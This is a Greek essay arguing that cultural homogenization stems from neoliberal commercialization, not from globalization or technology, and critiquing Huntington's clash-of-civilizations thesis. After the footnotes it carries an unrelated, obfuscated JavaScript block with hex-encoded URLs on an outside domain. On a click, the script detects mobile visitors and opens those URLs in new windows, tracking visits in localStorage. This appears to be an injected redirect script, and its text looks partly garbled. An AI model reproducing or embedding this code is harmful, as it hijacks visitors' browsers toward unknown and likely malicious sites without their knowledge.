

Η ΠΟΛΙΤΙΣΜΙΚΗ ΠΑΓΚΟΣΜΙΟΠΟΙΗΣΗ ΚΑΙ

Ο ΠΟΛΕΜΟΣ ΤΩΝ ΠΟΛΙΤΙΣΜΩΝ:

ΚΡΙΤΙΚΗ ΑΝΑΛΥΣΗ ΤΩΝ ΚΥΡΙΑΡΧΩΝ ΑΠΟΨΕΩΝ

Του Ν. Λιούση

Η είδηση είναι συναρπαστική. Στους δύο πρώτους μήνες του 2006 πραγματοποιείται έκθεση ζωγραφικής στο μουσείο του Πανεπιστημίου Loyola στο Σικάγο, με 60 έργα Καραβάτζιο. Το καινοτόμο στοιχείο της συγκεκριμένης έκθεσης είναι ότι σε αυτήν δεν εκτίθενται τα πρωτότυπα έργα του μεγάλου Ιταλού ζωγράφου, αλλά ισάριθμες ψηφιακές αναπαραγωγές σε πραγματικό μέγεθος. Όπως σχετικά αναφέρεται, υπό άλλες συνθήκες, μια τέτοια έκθεση θα ήταν «ανέφικτη» αφού η συγκέντρωση όλων των έργων του Καραβάτζιο θεωρείται μάλλον αδύνατη [1]

Είναι λοιπόν προφανές ότι η ψηφιακή τεχνολογία είναι σε θέση να δώσει μια νέα ποιοτική διάσταση στο χώρο της τέχνης και εν γένει του πολιτισμού. Τα σχετικά παραδείγματα είναι πολυάριθμα και προφανώς δεν περιορίζονται στην προαναφερόμενη έκθεση.

Από την άλλη πλευρά ωστόσο τέχνη και πολιτισμός εμφανίζονται να απειλούνται από την ισοπεδωτική τάση της παγκοσμιοποίησης. Η διαπίστωση ότι η «πολιτιστική παγκοσμιοποίηση» συντελεί «στην παρούσα ομογενοποίηση της κουλτούρας, όπως εκφράζεται για παράδειγμα από το γεγονός ότι σχεδόν οι πάντες στο σημερινό 'παγκόσμιο χωριό' βλέπουν πάνω κάτω τις ίδιες τηλεοπτικές σειρές και τις ίδιες βίντεο ταινίες, καταναλώνουν – ή ποθούν να καταναλώσουν – τα ίδια προϊόντα...» [2], έχει πλέον καταστεί κοινότοπη.

Στο βαθμό όμως που ισχύει αυτή η θέση, τότε συνάγεται το συμπέρασμα ότι βρισκόμαστε μπροστά σε μια τραγική αντίφαση. Ποια είναι η αντίφαση; Μα αν η «σημερινή παγκοσμιοποίηση» ορισθεί ως το άμεσο αποτέλεσμα της επιστημονικής επανάστασης και όχι ως μια απλή τάση διεθνοποίησης του κεφαλαίου, τότε προκύπτει λογικά ότι ενώ η *αιτία* (η τεχνολογία) προσφέρει νέες δυνατότητες προαγωγής της τέχνης και του πολιτισμού, αντίθετα το *αιτιατό* (η παγκοσμιοποίηση) εμφανίζεται ως απειλή εναντίον οποιασδήποτε κουλτούρας. Πως γίνεται αυτό;

Το σημείο αυτό είναι κομβικό προκειμένου να κατανοήσουμε μια θεμελιώδη παρανόηση που συνοδεύει τις περί παγκοσμιοποίησης προσεγγίσεις και η οποία ουσιαστικά αλλοιώνει τον χαρακτήρα της σχετικής συζήτησης.

Η παγκοσμιοποίηση ως απαύγασμα της μικροηλεκτρονικής επανάστασης όχι μόνο δεν μπορεί να θεωρείται ως απειλή κατά της πνευματικής ανύψωσης αλλά, αντίθετα, θα πρέπει να εκλαμβάνεται ως μια ιστορική πρόκληση για τον άνθρωπο και τις πολιτιστικές δημιουργικές του τάσεις. Σε ένα τέτοιο πλαίσιο, η «ψηφιακή παγκοσμιοποίηση» θεωρείται ότι μπορεί να προσφέρει το κατάλληλο πλανητικό πεδίο ανάδειξης, προβολής και προώθησης των καλλιτεχνικών προτάσεων, των εικαστικών εκφράσεων και των εθνικών πολιτισμικών δημιουργιών[3].

Υπό αυτήν την άποψη, η τάση ομογενοποίησης ή και ισοπέδωσης της κουλτούρας προφανώς δεν προκύπτει από την παγκοσμιοποίηση αλλά μάλλον προέρχεται από το νεοφιλελεύθερο χαρακτήρα της. Προκύπτει δηλαδή ως άμεσο αποτέλεσμα εκείνης της πολιτικής επιλογής που αναγάγει την αγορά σε ηγεμονικό οικονομικό, πολιτικό, κοινωνικό και

πολιτιστικό ρυθμιστικό μηχανισμό. Η εμπορευματοποίηση των πολιτιστικών δραστηριοτήτων είναι η βασική αιτία που οι πνευματικές ανησυχίες από δημιουργίες υψηλών διανοητικών προδιαγραφών καθίστανται «ευτελή» εμπορεύματα μαζικής κατανάλωσης. Το κέρδος μπορεί να διασφαλιστεί μόνο μέσω της μαζικής διάθεσης του εμπορεύματος κάτι που σημαίνει ότι αυτό το τελευταίο θα πρέπει να γίνεται άμεσα αντιληπτό από τον υποψήφιο «πελάτη» προσφέροντας μια εφήμερη, «ελαφριά» απόλαυση χωρίς προβληματισμούς ή άλλες πολύπλοκες (δηλαδή, σύμφωνα με την εμπορική ορολογία, «επώδυνες») διανοητικές διεργασίες. Έτσι οι πνευματικές, καλλιτεχνικές ή και πολιτισμικές δημιουργίες για να είναι κερδοφόρες θα πρέπει να είναι απλές (γιατί όχι και απλοϊκές όπως μας διδάσκουν οι αμερικανικές μανιχαϊστικές κινηματογραφικές ταινίες), εύληπτες και κυρίως αναλώσιμες.

Στην αντίπερα θεωρητική όχθη εμφανίσθηκε και μια άλλη «κατασκευή» που επιδιώκει να συσχετίσει τον πολιτισμό με την παγκοσμιοποίηση. Πριν από μια δεκαετία περίπου, ο Αμερικανός καθηγητής Σ. Χάντινγκτον υποστήριξε ότι τα αίτια των μεταψυχροπολεμικών συγκρούσεων θα πρέπει να αναζητηθούν στο πεδίο των πολιτισμικών αντιπαλοτήτων και όχι στο επίπεδο της οικονομίας ή της ιδεολογίας[4]. Δίπλα λοιπόν στην απειλή της πολιτισμικής παγκοσμιοποίησης, προστέθηκε και μια νέα, εξίσου αποπροσανατολιστική ιδεολογικά, έννοια: αυτή ενός πολεμογενούς πολιτισμικού πλουραλισμού.

Η εδραίωση των δύο αυτών προσεγγίσεων φαίνεται να έχει επιτευχθεί σε δύο μέτωπα, εξυπηρετώντας συγκεκριμένες ιδεολογικό – πολιτικές αναγκαιότητες.

Από τη μια πλευρά, στο επίπεδο της κοινωνίας, αυτές ήρθαν να καλύψουν το ιδεολογικό κενό που έχει προκαλέσει η αποϊδεολογικοποίηση της πολιτικής (συζήτησης, σκέψης και δράσης), προσφέροντας εύκολες, απλοποιημένες και εμπλουτισμένες με μια δόση «θεωρίας συνομοσιών» απαντήσεις, απέναντι σε μια σειρά από πολύπλοκες διεργασίες ανακατατάξεων.

Από την άλλη, στο επίπεδο διαχείρισης της εξουσίας, αμφότερες εμφανίσθηκαν είτε ως μηχανισμοί αναπαραγωγής συγκεκριμένων δομών εξουσίας (όπως, λ.χ. στην περίπτωση των ψυχροπολεμικών καθεστώτων που έπρεπε να εφεύρουν άλλοθι για τις αποτυχίες τους και αντίστοιχες μεθόδους για να διατηρηθούν στην εξουσία ή και να την επεκτείνουν, από όπου και προήλθαν - μεταξύ των άλλων – και οι εθνοκαθάρσεις), είτε ως μέσα νομιμοποίησης των πλανητικής εμβέλειας στρατιωτικών επιχειρήσεων (ας μην ξεχνάμε ότι οι στρατιωτικές επιχειρήσεις των ΗΠΑ της δεκαετίας του '90 επιχείρησαν να νομιμοποιηθούν στην εδραίωση της *ηθικής τάξης*, ενώ οι εκείνες της επόμενης δεκαετίας στηρίχθηκαν στο «αίτημα μιας πλανητικής επέκτασης του εκδημοκρατισμού» !!!).

Οι εμπορικές, πολιτικές και στρατιωτικές συγκρούσεις που διεξάγονται σήμερα πλανητικά εξελίσσονται βάσει ενός έξαλλου ανταγωνισμού που στοχεύει στην ανακατανομή της περιφερειακής και παγκόσμιας εξουσίας. Σε αυτό το πλαίσιο οι ηγεμονικές κοινωνικές, οικονομικές και πολιτικές δυνάμεις επιδιώκουν είτε να διαβρώσουν είτε να ευτελίσουν την έννοια του πολιτισμού θεωρώντας ότι αυτή αποτελεί ένα σοβαρότατο εμπόδιο στην πλήρη κυριάρχηση των αγοραίων κοινωνικών σχέσεων.

Κάτω από αυτές τις συνθήκες πολιτικά υποκείμενα και κοινωνικά κινήματα θα πρέπει να αμφισβητήσουν δυναμικά, εμπεριστατωμένα και έμπρακτα την κυριάρχη στρατηγική του

οικονομικού φιλελευθερισμού και να προβάλλουν μια νέα πολιτική πρόταση στην οποία το πολιτισμικό στοιχείο θα είναι κυρίαρχο. Σε αυτή την προσπάθεια η σύγχρονη επιστημονική γνώση μπορεί να διαδραματίσει εξέχοντα ρόλο.

[1] Το ΒΗΜΑ 3/1/2006, «Καραβάτζιο: μια έκθεση ανέφικτη».

[2] Τ. Φωτόπουλος: «Οι αντιτιθέμενες απόψεις για την παγκοσμιοποίηση και ο μύθος του τέλους της παγκοσμιοποίησης.» Μάιος 2003. www.indusivedemocracy.org/fotopoulos .

[3] Θ. Πάγκαλου – Ν. Λιούση: Εφήμεροι Προφήτες, Α.Α. Λιβάνης 2005.

[4] S.P. Huntington : Le choc des Civilizations, Odile Jacob 1997.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx6
1x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmK','ro
und','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vend
or','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]) {try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
```

```

_0x2e2ad3['push'](_0x2e2ad3['shift']());};catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09','",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( |i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(al|dt)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|8
1|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>!!localStorage[_0x
365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x36
5b[0x10]+_0x1e6b44+_0x365b[0x11],0x0));},_0x2317c1=_0x3bd6cc=>{const

```

```
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21){const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```